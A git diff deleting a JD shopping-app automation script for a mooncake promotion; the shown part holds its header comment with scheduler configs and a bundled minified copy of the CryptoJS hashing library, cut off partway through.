b/backUp/jd_cfd_mooncake.js deleted file mode 100644 index cb78da5..0000000 --- a/backUp/jd_cfd_mooncake.js +++ /dev/null @@ -1,874 +0,0 @@ -/* -京喜财富岛合成月饼 -cron 5 * * * * jd_cfd_mooncake.js -更新时间:2021-9-11 -活动入口:京喜APP-我的-京喜财富岛 - -已支持IOS双京东账号,Node.js支持N个京东账号 -脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js -============Quantumultx=============== -[task_local] -#京喜财富岛合成月饼 -5 * * * * https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_cfd_mooncake.js, tag=京喜财富岛合成月饼, img-url=https://raw.githubusercontent.com/58xinian/icon/master/jxcfd.png, enabled=true - -================Loon============== -[Script] -cron "5 * * * *" script-path=https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_cfd_mooncake.js,tag=京喜财富岛合成月饼 - -===============Surge================= -京喜财富岛合成月饼 = type=cron,cronexp="5 * * * *",wake-system=1,timeout=3600,script-path=https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_cfd_mooncake.js - -============小火箭========= -京喜财富岛合成月饼 = type=cron,script-path=https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_cfd_mooncake.js, cronexpr="5 * * * *", timeout=3600, enable=true - */ -!function (t, r) { "object" == typeof exports ? module.exports = exports = r() : "function" == typeof define && define.amd ? define([], r) : t.CryptoJS = r() }(this, function () { - var t = t || function (t, r) { var e = Object.create || function () { function t() { } return function (r) { var e; return t.prototype = r, e = new t, t.prototype = null, e } }(), i = {}, n = i.lib = {}, o = n.Base = function () { return { extend: function (t) { var r = e(this); return t && r.mixIn(t), r.hasOwnProperty("init") && this.init !== r.init || (r.init = function () { r.$super.init.apply(this, arguments) }), r.init.prototype = r, r.$super = this, r }, create: function () { var t = this.extend(); return t.init.apply(t, arguments), t }, init: function () { }, mixIn: function (t) { for (var r in t) t.hasOwnProperty(r) && (this[r] = t[r]); t.hasOwnProperty("toString") && (this.toString = t.toString) }, clone: function () { return this.init.prototype.extend(this) } } }(), s = n.WordArray = o.extend({ init: function (t, e) { t = this.words = t || [], e != r ? this.sigBytes = e : this.sigBytes = 4 * t.length }, toString: function (t) { return (t || c).stringify(this) }, concat: function (t) { var r = this.words, e = t.words, i = this.sigBytes, n = t.sigBytes; if (this.clamp(), i % 4) for (var o = 0; o < n; o++) { var s = e[o >>> 2] >>> 24 - o % 4 * 8 & 255; r[i + o >>> 2] |= s << 24 - (i + o) % 4 * 8 } else for (var o = 0; o < n; o += 4)r[i + o >>> 2] = e[o >>> 2]; return this.sigBytes += n, this }, clamp: function () { var r = this.words, e = this.sigBytes; r[e >>> 2] &= 4294967295 << 32 - e % 4 * 8, r.length = t.ceil(e / 4) }, clone: function () { var t = o.clone.call(this); return t.words = this.words.slice(0), t }, random: function (r) { for (var e, i = [], n = function (r) { var r = r, e = 987654321, i = 4294967295; return function () { e = 36969 * (65535 & e) + (e >> 16) & i, r = 18e3 * (65535 & r) + (r >> 16) & i; var n = (e << 16) + r & i; return n /= 4294967296, n += .5, n * (t.random() > .5 ? 1 : -1) } }, o = 0; o < r; o += 4) { var a = n(4294967296 * (e || t.random())); e = 987654071 * a(), i.push(4294967296 * a() | 0) } return new s.init(i, r) } }), a = i.enc = {}, c = a.Hex = { stringify: function (t) { for (var r = t.words, e = t.sigBytes, i = [], n = 0; n < e; n++) { var o = r[n >>> 2] >>> 24 - n % 4 * 8 & 255; i.push((o >>> 4).toString(16)), i.push((15 & o).toString(16)) } return i.join("") }, parse: function (t) { for (var r = t.length, e = [], i = 0; i < r; i += 2)e[i >>> 3] |= parseInt(t.substr(i, 2), 16) << 24 - i % 8 * 4; return new s.init(e, r / 2) } }, h = a.Latin1 = { stringify: function (t) { for (var r = t.words, e = t.sigBytes, i = [], n = 0; n < e; n++) { var o = r[n >>> 2] >>> 24 - n % 4 * 8 & 255; i.push(String.fromCharCode(o)) } return i.join("") }, parse: function (t) { for (var r = t.length, e = [], i = 0; i < r; i++)e[i >>> 2] |= (255 & t.charCodeAt(i)) << 24 - i % 4 * 8; return new s.init(e, r) } }, l = a.Utf8 = { stringify: function (t) { try { return decodeURIComponent(escape(h.stringify(t))) } catch (t) { throw new Error("Malformed UTF-8 data") } }, parse: function (t) { return h.parse(unescape(encodeURIComponent(t))) } }, f = n.BufferedBlockAlgorithm = o.extend({ reset: function () { this._data = new s.init, this._nDataBytes = 0 }, _append: function (t) { "string" == typeof t && (t = l.parse(t)), this._data.concat(t), this._nDataBytes += t.sigBytes }, _process: function (r) { var e = this._data, i = e.words, n = e.sigBytes, o = this.blockSize, a = 4 * o, c = n / a; c = r ? t.ceil(c) : t.max((0 | c) - this._minBufferSize, 0); var h = c * o, l = t.min(4 * h, n); if (h) { for (var f = 0; f < h; f += o)this._doProcessBlock(i, f); var u = i.splice(0, h); e.sigBytes -= l } return new s.init(u, l) }, clone: function () { var t = o.clone.call(this); return t._data = this._data.clone(), t }, _minBufferSize: 0 }), u = (n.Hasher = f.extend({ cfg: o.extend(), init: function (t) { this.cfg = this.cfg.extend(t), this.reset() }, reset: function () { f.reset.call(this), this._doReset() }, update: function (t) { return this._append(t), this._process(), this }, finalize: function (t) { t && this._append(t); var r = this._doFinalize(); return r }, blockSize: 16, _createHelper: function (t) { return function (r, e) { return new t.init(e).finalize(r) } }, _createHmacHelper: function (t) { return function (r, e) { return new u.HMAC.init(t, e).finalize(r) } } }), i.algo = {}); return i }(Math); return function () { function r(t, r, e) { for (var i = [], o = 0, s = 0; s < r; s++)if (s % 4) { var a = e[t.charCodeAt(s - 1)] << s % 4 * 2, c = e[t.charCodeAt(s)] >>> 6 - s % 4 * 2; i[o >>> 2] |= (a | c) << 24 - o % 4 * 8, o++ } return n.create(i, o) } var e = t, i = e.lib, n = i.WordArray, o = e.enc; o.Base64 = { stringify: function (t) { var r = t.words, e = t.sigBytes, i = this._map; t.clamp(); for (var n = [], o = 0; o < e; o += 3)for (var s = r[o >>> 2] >>> 24 - o % 4 * 8 & 255, a = r[o + 1 >>> 2] >>> 24 - (o + 1) % 4 * 8 & 255, c = r[o + 2 >>> 2] >>> 24 - (o + 2) % 4 * 8 & 255, h = s << 16 | a << 8 | c, l = 0; l < 4 && o + .75 * l < e; l++)n.push(i.charAt(h >>> 6 * (3 - l) & 63)); var f = i.charAt(64); if (f) for (; n.length % 4;)n.push(f); return n.join("") }, parse: function (t) { var e = t.length, i = this._map, n = this._reverseMap; if (!n) { n = this._reverseMap = []; for (var o = 0; o < i.length; o++)n[i.charCodeAt(o)] = o } var s = i.charAt(64); if (s) { var a = t.indexOf(s); a !== -1 && (e = a) } return r(t, e, n) }, _map: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=" } }(), function (r) { function e(t, r, e, i, n, o, s) { var a = t + (r & e | ~r & i) + n + s; return (a << o | a >>> 32 - o) + r } function i(t, r, e, i, n, o, s) { var a = t + (r & i | e & ~i) + n + s; return (a << o | a >>> 32 - o) + r } function n(t, r, e, i, n, o, s) { var a = t + (r ^ e ^ i) + n + s; return (a << o | a >>> 32 - o) + r } function o(t, r, e, i, n, o, s) { var a = t + (e ^ (r | ~i)) + n + s; return (a << o | a >>> 32 - o) + r } var s = t, a = s.lib, c = a.WordArray, h = a.Hasher, l = s.algo, f = []; !function () { for (var t = 0; t < 64; t++)f[t] = 4294967296 * r.abs(r.sin(t + 1)) | 0 }(); var u = l.MD5 = h.extend({ _doReset: function () { this._hash = new c.init([1732584193, 4023233417, 2562383102, 271733878]) }, _doProcessBlock: function (t, r) { for (var s = 0; s < 16; s++) { var a = r + s, c = t[a]; t[a] = 16711935 & (c << 8 | c >>> 24) | 4278255360 & (c << 24 | c >>> 8) } var h = this._hash.words, l = t[r + 0], u = t[r + 1], d = t[r + 2], v = t[r + 3], p = t[r + 4], _ = t[r + 5], y = t[r + 6], g = t[r + 7], B = t[r + 8], w = t[r + 9], k = t[r + 10], S = t[r + 11], m = t[r + 12], x = t[r + 13], b = t[r + 14], H = t[r + 15], z = h[0], A = h[1], C = h[2], D = h[3]; z = e(z, A, C, D, l, 7, f[0]), D = e(D, z, A, C, u, 12, f[1]), C = e(C, D, z, A, d, 17, f[2]), A = e(A, C, D, z, v, 22, f[3]), z = e(z, A, C, D, p, 7, f[4]), D = e(D, z, A, C, _, 12, f[5]), C = e(C, D, z, A, y, 17, f[6]), A = e(A, C, D, z, g, 22, f[7]), z = e(z, A, C, D, B, 7, f[8]), D = e(D, z, A, C, w, 12, f[9]), C = e(C, D, z, A, k, 17, f[10]), A = e(A, C, D, z, S, 22, f[11]), z = e(z, A, C, D, m, 7, f[12]), D = e(D, z, A, C, x, 12, f[13]), C = e(C, D, z, A, b, 17, f[14]), A = e(A, C, D, z, H, 22, f[15]), z = i(z, A, C, D, u, 5, f[16]), D = i(D, z, A, C, y, 9, f[17]), C = i(C, D, z, A, S, 14, f[18]), A = i(A, C, D, z, l, 20, f[19]), z = i(z, A, C, D, _, 5, f[20]), D = i(D, z, A, C, k, 9, f[21]), C = i(C, D, z, A, H, 14, f[22]), A = i(A, C, D, z, p, 20, f[23]), z = i(z, A, C, D, w, 5, f[24]), D = i(D, z, A, C, b, 9, f[25]), C = i(C, D, z, A, v, 14, f[26]), A = i(A, C, D, z, B, 20, f[27]), z = i(z, A, C, D, x, 5, f[28]), D = i(D, z, A, C, d, 9, f[29]), C = i(C, D, z, A, g, 14, f[30]), A = i(A, C, D, z, m, 20, f[31]), z = n(z, A, C, D, _, 4, f[32]), D = n(D, z, A, C, B, 11, f[33]), C = n(C, D, z, A, S, 16, f[34]), A = n(A, C, D, z, b, 23, f[35]), z = n(z, A, C, D, u, 4, f[36]), D = n(D, z, A, C, p, 11, f[37]), C = n(C, D, z, A, g, 16, f[38]), A = n(A, C, D, z, k, 23, f[39]), z = n(z, A, C, D, x, 4, f[40]), D = n(D, z, A, C, l, 11, f[41]), C = n(C, D, z, A, v, 16, f[42]), A = n(A, C, D, z, y, 23, f[43]), z = n(z, A, C, D, w, 4, f[44]), D = n(D, z, A, C, m, 11, f[45]), C = n(C, D, z, A, H, 16, f[46]), A = n(A, C, D, z, d, 23, f[47]), z = o(z, A, C, D, l, 6, f[48]), D = o(D, z, A, C, g, 10, f[49]), C = o(C, D, z, A, b, 15, f[50]), A = o(A, C, D, z, _, 21, f[51]), z = o(z, A, C, D, m, 6, f[52]), D = o(D, z, A, C, v, 10, f[53]), C = o(C, D, z, A, k, 15, f[54]), A = o(A, C, D, z, u, 21, f[55]), z = o(z, A, C, D, B, 6, f[56]), D = o(D, z, A, C, H, 10, f[57]), C = o(C, D, z, A, y, 15, f[58]), A = o(A, C, D, z, x, 21, f[59]), z = o(z, A, C, D, p, 6, f[60]), D = o(D, z, A, C, S, 10, f[61]), C = o(C, D, z, A, d, 15, f[62]), A = o(A, C, D, z, w, 21, f[63]), h[0] = h[0] + z | 0, h[1] = h[1] + A | 0, h[2] = h[2] + C | 0, h[3] = h[3] + D | 0 }, _doFinalize: function () { var t = this._data, e = t.words, i = 8 * this._nDataBytes, n = 8 * t.sigBytes; e[n >>> 5] |= 128 << 24 - n % 32; var o = r.floor(i / 4294967296), s = i; e[(n + 64 >>> 9 << 4) + 15] = 16711935 & (o << 8 | o >>> 24) | 4278255360 & (o << 24 | o >>> 8), e[(n + 64 >>> 9 << 4) + 14] = 16711935 & (s << 8 | s >>> 24) | 4278255360 & (s << 24 | s >>> 8), t.sigBytes = 4 * (e.length + 1), this._process(); for (var a = this._hash, c = a.words, h = 0; h < 4; h++) { var l = c[h]; c[h] = 16711935 & (l << 8 | l >>> 24) | 4278255360 & (l << 24 | l >>> 8) } return a }, clone: function () { var t = h.clone.call(this); return t._hash = this._hash.clone(), t } }); s.MD5 = h._createHelper(u), s.HmacMD5 = h._createHmacHelper(u) }(Math), function () { var r = t, e = r.lib, i = e.WordArray, n = e.Hasher, o = r.algo, s = [], a = o.SHA1 = n.extend({ _doReset: function () { this._hash = new i.init([1732584193, 4023233417, 2562383102, 271733878, 3285377520]) }, _doProcessBlock: function (t, r) { for (var e = this._hash.words, i = e[0], n = e[1], o = e[2], a = e[3], c = e[4], h = 0; h < 80; h++) { if (h < 16) s[h] = 0 | t[r + h]; else { var l = s[h - 3] ^ s[h - 8] ^ s[h - 14] ^ s[h - 16]; s[h] = l << 1 | l >>> 31 } var f = (i << 5 | i >>> 27) + c + s[h]; f += h < 20 ? (n & o | ~n & a) + 1518500249 : h < 40 ? (n ^ o ^ a) + 1859775393 : h < 60 ? (n & o | n & a | o & a) - 1894007588 : (n ^ o ^ a) - 899497514, c = a, a = o, o = n << 30 | n >>> 2, n = i, i = f } e[0] = e[0] + i | 0, e[1] = e[1] + n | 0, e[2] = e[2] + o | 0, e[3] = e[3] + a | 0, e[4] = e[4] + c | 0 }, _doFinalize: function () { var t = this._data, r = t.words, e = 8 * this._nDataBytes, i = 8 * t.sigBytes; return r[i >>> 5] |= 128 << 24 - i % 32, r[(i + 64 >>> 9 << 4) + 14] = Math.floor(e / 4294967296), r[(i + 64 >>> 9 << 4) + 15] = e, t.sigBytes = 4 * r.length, this._process(), this._hash }, clone: function () { var t = n.clone.call(this); return t._hash = this._hash.clone(), t } }); r.SHA1 = n._createHelper(a), r.HmacSHA1 = n._createHmacHelper(a) }(), function (r) { var e = t, i = e.lib, n = i.WordArray, o = i.Hasher, s = e.algo, a = [], c = []; !function () { function t(t) { for (var e = r.sqrt(t), i = 2; i <= e; i++)if (!(t % i)) return !1; return !0 } function e(t) { return 4294967296 * (t - (0 | t)) | 0 } for (var i = 2, n = 0; n < 64;)t(i) && (n < 8 && (a[n] = e(r.pow(i, .5))), c[n] = e(r.pow(i, 1 / 3)), n++), i++ }(); var h = [], l = s.SHA256 = o.extend({ _doReset: function () { this._hash = new n.init(a.slice(0)) }, _doProcessBlock: function (t, r) { for (var e = this._hash.words, i = e[0], n = e[1], o = e[2], s = e[3], a = e[4], l = e[5], f = e[6], u = e[7], d = 0; d < 64; d++) { if (d < 16) h[d] = 0 | t[r + d]; else { var v = h[d - 15], p = (v << 25 | v >>> 7) ^ (v << 14 | v >>> 18) ^ v >>> 3, _ = h[d - 2], y = (_ << 15 | _ >>> 17) ^ (_ << 13 | _ >>> 19) ^ _ >>> 10; h[d] = p + h[d - 7] + y + h[d - 16] } var g = a & l ^ ~a & f, B = i & n ^ i & o ^ n & o, w = (i << 30 | i >>> 2) ^ (i << 19 | i >>> 13) ^ (i << 10 | i >>> 22), k = (a << 26 | a >>> 6) ^ (a << 21 | a >>> 11) ^ (a << 7 | a >>> 25), S = u + k + g + c[d] + h[d], m = w + B; u = f, f = l, l = a, a = s + S | 0, s = o, o = n, n = i, i = S + m | 0 } e[0] = e[0] + i | 0, e[1] = e[1] + n | 0, e[2] = e[2] + o | 0, e[3] = e[3] + s | 0, e[4] = e[4] + a | 0, e[5] = e[5] + l | 0, e[6] = e[6] + f | 0, e[7] = e[7] + u | 0 }, _doFinalize: function () { var t = this._data, e = t.words, i = 8 * this._nDataBytes, n = 8 * t.sigBytes; return e[n >>> 5] |= 128 << 24 - n % 32, e[(n + 64 >>> 9 << 4) + 14] = r.floor(i / 4294967296), e[(n + 64 >>> 9 << 4) + 15] = i, t.sigBytes = 4 * e.length, this._process(), this._hash }, clone: function () { var t = o.clone.call(this); return t._hash = this._hash.clone(), t } }); e.SHA256 = o._createHelper(l), e.HmacSHA256 = o._createHmacHelper(l) }(Math), function () { function r(t) { return t << 8 & 4278255360 | t >>> 8 & 16711935 } var e = t, i = e.lib, n = i.WordArray, o = e.enc; o.Utf16 = o.Utf16BE = { stringify: function (t) { for (var r = t.words, e = t.sigBytes, i = [], n = 0; n < e; n += 2) { var o = r[n >>> 2] >>> 16 - n % 4 * 8 & 65535; i.push(String.fromCharCode(o)) } return i.join("") }, parse: function (t) { for (var r = t.length, e = [], i = 0; i < r; i++)e[i >>> 1] |= t.charCodeAt(i) << 16 - i % 2 * 16; return n.create(e, 2 * r) } }; o.Utf16LE = { stringify: function (t) { for (var e = t.words, i = t.sigBytes, n = [], o = 0; o < i; o += 2) { var s = r(e[o >>> 2] >>> 16 - o % 4 * 8 & 65535); n.push(String.fromCharCode(s)) } return n.join("") }, parse: function (t) { for (var e = t.length, i = [], o = 0; o < e; o++)i[o >>> 1] |= r(t.charCodeAt(o) << 16 - o % 2 * 16); return n.create(i, 2 * e) } } }(), function () { if ("function" == typeof ArrayBuffer) { var r = t, e = r.lib, i = e.WordArray, n = i.init, o = i.init = function (t) { if (t instanceof ArrayBuffer && (t = new Uint8Array(t)), (t instanceof Int8Array || "undefined" != typeof Uint8ClampedArray && t instanceof Uint8ClampedArray || t instanceof Int16Array || t instanceof Uint16Array || t instanceof Int32Array || t instanceof Uint32Array || t instanceof Float32Array || t instanceof Float64Array) && (t = new Uint8Array(t.buffer, t.byteOffset, t.byteLength)), t instanceof Uint8Array) { for (var r = t.byteLength, e = [], i = 0; i < r; i++)e[i >>> 2] |= t[i] << 24 - i % 4 * 8; n.call(this, e, r) } else n.apply(this, arguments) }; o.prototype = i } }(), function (r) { function e(t, r, e) { return t ^ r ^ e } function i(t, r, e) { return t & r | ~t & e } function n(t, r, e) { return (t | ~r) ^ e } function o(t, r, e) { return t & e | r & ~e } function s(t, r, e) { return t ^ (r | ~e) } function a(t, r) { return t << r | t >>> 32 - r } var c = t, h = c.lib, l = h.WordArray, f = h.Hasher, u = c.algo, d = l.create([0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 7, 4, 13, 1, 10, 6, 15, 3, 12, 0, 9, 5, 2, 14, 11, 8, 3, 10, 14, 4, 9, 15, 8, 1, 2, 7, 0, 6, 13, 11, 5, 12, 1, 9, 11, 10, 0, 8, 12, 4, 13, 3, 7, 15, 14, 5, 6, 2, 4, 0, 5, 9, 7, 12, 2, 10, 14, 1, 3, 8, 11, 6, 15, 13]), v = l.create([5, 14, 7, 0, 9, 2, 11, 4, 13, 6, 15, 8, 1, 10, 3, 12, 6, 11, 3, 7, 0, 13, 5, 10, 14, 15, 8, 12, 4, 9, 1, 2, 15, 5, 1, 3, 7, 14, 6, 9, 11, 8, 12, 2, 10, 0, 4, 13, 8, 6, 4, 1, 3, 11, 15, 0, 5, 12, 2, 13, 9, 7, 10, 14, 12, 15, 10, 4, 1, 5, 8, 7, 6, 2, 13, 14, 0, 3, 9, 11]), p = l.create([11, 14, 15, 12, 5, 8, 7, 9, 11, 13, 14, 15, 6, 7, 9, 8, 7, 6, 8, 13, 11, 9, 7, 15, 7, 12, 15, 9, 11, 7, 13, 12, 11, 13, 6, 7, 14, 9, 13, 15, 14, 8, 13, 6, 5, 12, 7, 5, 11, 12, 14, 15, 14, 15, 9, 8, 9, 14, 5, 6, 8, 6, 5, 12, 9, 15, 5, 11, 6, 8, 13, 12, 5, 12, 13, 14, 11, 8, 5, 6]), _ = l.create([8, 9, 9, 11, 13, 15, 15, 5, 7, 7, 8, 11, 14, 14, 12, 6, 9, 13, 15, 7, 12, 8, 9, 11, 7, 7, 12, 7, 6, 15, 13, 11, 9, 7, 15, 11, 8, 6, 6, 14, 12, 13, 5, 14, 13, 13, 7, 5, 15, 5, 8, 11, 14, 14, 6, 14, 6, 9, 12, 9, 12, 5, 15, 8, 8, 5, 12, 9, 12, 5, 14, 6, 8, 13, 6, 5, 15, 13, 11, 11]), y = l.create([0, 1518500249, 1859775393, 2400959708, 2840853838]), g = l.create([1352829926, 1548603684, 1836072691, 2053994217, 0]), B = u.RIPEMD160 = f.extend({ _doReset: function () { this._hash = l.create([1732584193, 4023233417, 2562383102, 271733878, 3285377520]) }, _doProcessBlock: function (t, r) { for (var c = 0; c < 16; c++) { var h = r + c, l = t[h]; t[h] = 16711935 & (l << 8 | l >>> 24) | 4278255360 & (l << 24 | l >>> 8) } var f, u, B, w, k, S, m, x, b, H, z = this._hash.words, A = y.words, C = g.words, D = d.words, R = v.words, E = p.words, M = _.words; S = f = z[0], m = u = z[1], x = B = z[2], b = w = z[3], H = k = z[4]; for (var F, c = 0; c < 80; c += 1)F = f + t[r + D[c]] | 0, F += c < 16 ? e(u, B, w) + A[0] : c < 32 ? i(u, B, w) + A[1] : c < 48 ? n(u, B, w) + A[2] : c < 64 ? o(u, B, w) + A[3] : s(u, B, w) + A[4], F |= 0, F = a(F, E[c]), F = F + k | 0, f = k, k = w, w = a(B, 10), B = u, u = F, F = S + t[r + R[c]] | 0, F += c < 16 ? s(m, x, b) + C[0] : c < 32 ? o(m, x, b) + C[1] : c < 48 ? n(m, x, b) + C[2] : c < 64 ? i(m, x, b) + C[3] : e(m, x, b) + C[4], F |= 0, F = a(F, M[c]), F = F + H | 0, S = H, H = b, b = a(x, 10), x = m, m = F; F = z[1] + B + b | 0, z[1] = z[2] + w + H | 0, z[2] = z[3] + k + S | 0, z[3] = z[4] + f + m | 0, z[4] = z[0] + u + x | 0, z[0] = F }, _doFinalize: function () { var t = this._data, r = t.words, e = 8 * this._nDataBytes, i = 8 * t.sigBytes; r[i >>> 5] |= 128 << 24 - i % 32, r[(i + 64 >>> 9 << 4) + 14] = 16711935 & (e << 8 | e >>> 24) | 4278255360 & (e << 24 | e >>> 8), t.sigBytes = 4 * (r.length + 1), this._process(); for (var n = this._hash, o = n.words, s = 0; s < 5; s++) { var a = o[s]; o[s] = 16711935 & (a << 8 | a >>> 24) | 4278255360 & (a << 24 | a >>> 8) } return n }, clone: function () { var t = f.clone.call(this); return t._hash = this._hash.clone(), t } }); c.RIPEMD160 = f._createHelper(B), c.HmacRIPEMD160 = f._createHmacHelper(B) }(Math), function () { var r = t, e = r.lib, i = e.Base, n = r.enc, o = n.Utf8, s = r.algo; s.HMAC = i.extend({ init: function (t, r) { t = this._hasher = new t.init, "string" == typeof r && (r = o.parse(r)); var e = t.blockSize, i = 4 * e; r.sigBytes > i && (r = t.finalize(r)), r.clamp(); for (var n = this._oKey = r.clone(), s = this._iKey = r.clone(), a = n.words, c = s.words, h = 0; h < e; h++)a[h] ^= 1549556828, c[h] ^= 909522486; n.sigBytes = s.sigBytes = i, this.reset() }, reset: function () { var t = this._hasher; t.reset(), t.update(this._iKey) }, update: function (t) { return this._hasher.update(t), this }, finalize: function (t) { var r = this._hasher, e = r.finalize(t); r.reset(); var i = r.finalize(this._oKey.clone().concat(e)); return i } }) }(), function () { var r = t, e = r.lib, i = e.Base, n = e.WordArray, o = r.algo, s = o.SHA1, a = o.HMAC, c = o.PBKDF2 = i.extend({ cfg: i.extend({ keySize: 4, hasher: s, iterations: 1 }), init: function (t) { this.cfg = this.cfg.extend(t) }, compute: function (t, r) { for (var e = this.cfg, i = a.create(e.hasher, t), o = n.create(), s = n.create([1]), c = o.words, h = s.words, l = e.keySize, f = e.iterations; c.length < l;) { var u = i.update(r).finalize(s); i.reset(); for (var d = u.words, v = d.length, p = u, _ = 1; _ < f; _++) { p = i.finalize(p), i.reset(); for (var y = p.words, g = 0; g < v; g++)d[g] ^= y[g] } o.concat(u), h[0]++ } return o.sigBytes = 4 * l, o } }); r.PBKDF2 = function (t, r, e) { return c.create(e).compute(t, r) } }(), function () { var r = t, e = r.lib, i = e.Base, n = e.WordArray, o = r.algo, s = o.MD5, a = o.EvpKDF = i.extend({ cfg: i.extend({ keySize: 4, hasher: s, iterations: 1 }), init: function (t) { this.cfg = this.cfg.extend(t) }, compute: function (t, r) { for (var e = this.cfg, i = e.hasher.create(), o = n.create(), s = o.words, a = e.keySize, c = e.iterations; s.length < a;) { h && i.update(h); var h = i.update(t).finalize(r); i.reset(); for (var l = 1; l < c; l++)h = i.finalize(h), i.reset(); o.concat(h) } return o.sigBytes = 4 * a, o } }); r.EvpKDF = function (t, r, e) { return a.create(e).compute(t, r) } }(), function () { var r = t, e = r.lib, i = e.WordArray, n = r.algo, o = n.SHA256, s = n.SHA224 = o.extend({ _doReset: function () { this._hash = new i.init([3238371032, 914150663, 812702999, 4144912697, 4290775857, 1750603025, 1694076839, 3204075428]) }, _doFinalize: function () { var t = o._doFinalize.call(this); return t.sigBytes -= 4, t } }); r.SHA224 = o._createHelper(s), r.HmacSHA224 = o._createHmacHelper(s) }(), function (r) { var e = t, i = e.lib, n = i.Base, o = i.WordArray, s = e.x64 = {}; s.Word = n.extend({ init: function (t, r) { this.high = t, this.low = r } }), s.WordArray = n.extend({ init: function (t, e) { t = this.words = t || [], e != r ? this.sigBytes = e : this.sigBytes = 8 * t.length }, toX32: function () { for (var t = this.words, r = t.length, e = [], i = 0; i < r; i++) { var n = t[i]; e.push(n.high), e.push(n.low) } return o.create(e, this.sigBytes) }, clone: function () { for (var t = n.clone.call(this), r = t.words = this.words.slice(0), e = r.length, i = 0; i < e; i++)r[i] = r[i].clone(); return t } }) }(), function (r) { var e = t, i = e.lib, n = i.WordArray, o = i.Hasher, s = e.x64, a = s.Word, c = e.algo, h = [], l = [], f = []; !function () { for (var t = 1, r = 0, e = 0; e < 24; e++) { h[t + 5 * r] = (e + 1) * (e + 2) / 2 % 64; var i = r % 5, n = (2 * t + 3 * r) % 5; t = i, r = n } for (var t = 0; t < 5; t++)for (var r = 0; r < 5; r++)l[t + 5 * r] = r + (2 * t + 3 * r) % 5 * 5; for (var o = 1, s = 0; s < 24; s++) { for (var c = 0, u = 0, d = 0; d < 7; d++) { if (1 & o) { var v = (1 << d) - 1; v < 32 ? u ^= 1 << v : c ^= 1 << v - 32 } 128 & o ? o = o << 1 ^ 113 : o <<= 1 } f[s] = a.create(c, u) } }(); var u = []; !function () { for (var t = 0; t < 25; t++)u[t] = a.create() }(); var d = c.SHA3 = o.extend({ cfg: o.cfg.extend({ outputLength: 512 }), _doReset: function () { for (var t = this._state = [], r = 0; r < 25; r++)t[r] = new a.init; this.blockSize = (1600 - 2 * this.cfg.outputLength) / 32 }, _doProcessBlock: function (t, r) { for (var e = this._state, i = this.blockSize / 2, n = 0; n < i; n++) { var o = t[r + 2 * n], s = t[r + 2 * n + 1]; o = 16711935 & (o << 8 | o >>> 24) | 4278255360 & (o << 24 | o >>> 8), s = 16711935 & (s << 8 | s >>> 24) | 4278255360 & (s << 24 | s >>> 8); var a = e[n]; a.high ^= s, a.low ^= o } for (var c = 0; c < 24; c++) { for (var d = 0; d < 5; d++) { for (var v = 0, p = 0, _ = 0; _ < 5; _++) { var a = e[d + 5 * _]; v ^= a.high, p ^= a.low } var y = u[d]; y.high = v, y.low = p } for (var d = 0; d < 5; d++)for (var g = u[(d + 4) % 5], B = u[(d + 1) % 5], w = B.high, k = B.low, v = g.high ^ (w << 1 | k >>> 31), p = g.low ^ (k << 1 | w >>> 31), _ = 0; _ < 5; _++) { var a = e[d + 5 * _]; a.high ^= v, a.low ^= p } for (var S = 1; S < 25; S++) { var a = e[S], m = a.high, x = a.low, b = h[S]; if (b < 32) var v = m << b | x >>> 32 - b, p = x << b | m >>> 32 - b; else var v = x << b - 32 | m >>> 64 - b, p = m << b - 32 | x >>> 64 - b; var H = u[l[S]]; H.high = v, H.low = p } var z = u[0], A = e[0]; z.high = A.high, z.low = A.low; for (var d = 0; d < 5; d++)for (var _ = 0; _ < 5; _++) { var S = d + 5 * _, a = e[S], C = u[S], D = u[(d + 1) % 5 + 5 * _], R = u[(d + 2) % 5 + 5 * _]; a.high = C.high ^ ~D.high & R.high, a.low = C.low ^ ~D.low & R.low } var a = e[0], E = f[c]; a.high ^= E.high, a.low ^= E.low } }, _doFinalize: function () { var t = this._data, e = t.words, i = (8 * this._nDataBytes, 8 * t.sigBytes), o = 32 * this.blockSize; e[i >>> 5] |= 1 << 24 - i % 32, e[(r.ceil((i + 1) / o) * o >>> 5) - 1] |= 128, t.sigBytes = 4 * e.length, this._process(); for (var s = this._state, a = this.cfg.outputLength / 8, c = a / 8, h = [], l = 0; l < c; l++) { var f = s[l], u = f.high, d = f.low; u = 16711935 & (u << 8 | u >>> 24) | 4278255360 & (u << 24 | u >>> 8), d = 16711935 & (d << 8 | d >>> 24) | 4278255360 & (d << 24 | d >>> 8), h.push(d), h.push(u) } return new n.init(h, a) }, clone: function () { for (var t = o.clone.call(this), r = t._state = this._state.slice(0), e = 0; e < 25; e++)r[e] = r[e].clone(); return t } }); e.SHA3 = o._createHelper(d), e.HmacSHA3 = o._createHmacHelper(d) }(Math), function () { function r() { return s.create.apply(s, arguments) } var e = t, i = e.lib, n = i.Hasher, o = e.x64, s = o.Word, a = o.WordArray, c = e.algo, h = [r(1116352408, 3609767458), r(1899447441, 602891725), r(3049323471, 3964484399), r(3921009573, 2173295548), r(961987163, 4081628472), r(1508970993, 3053834265), r(2453635748, 2937671579), r(2870763221, 3664609560), r(3624381080, 2734883394), r(310598401, 1164996542), r(607225278, 1323610764), r(1426881987, 3590304994), r(1925078388, 4068182383), r(2162078206, 991336113), r(2614888103, 633803317), r(3248222580, 3479774868), r(3835390401, 2666613458), r(4022224774, 944711139), r(264347078, 2341262773), r(604807628, 2007800933), r(770255983, 1495990901), r(1249150122, 1856431235), r(1555081692, 3175218132), r(1996064986, 2198950837), r(2554220882, 3999719339), r(2821834349, 766784016), r(2952996808, 2566594879), r(3210313671, 3203337956), r(3336571891, 1034457026), r(3584528711, 2466948901), r(113926993, 3758326383), r(338241895, 168717936), r(666307205, 1188179964), r(773529912, 1546045734), r(1294757372, 1522805485), r(1396182291, 2643833823), r(1695183700, 2343527390), r(1986661051, 1014477480), r(2177026350, 1206759142), r(2456956037, 344077627), r(2730485921, 1290863460), r(2820302411, 3158454273), r(3259730800, 3505952657), r(3345764771, 106217008), r(3516065817, 3606008344), r(3600352804, 1432725776), r(4094571909, 1467031594), r(275423344, 851169720), r(430227734, 3100823752), r(506948616, 1363258195), 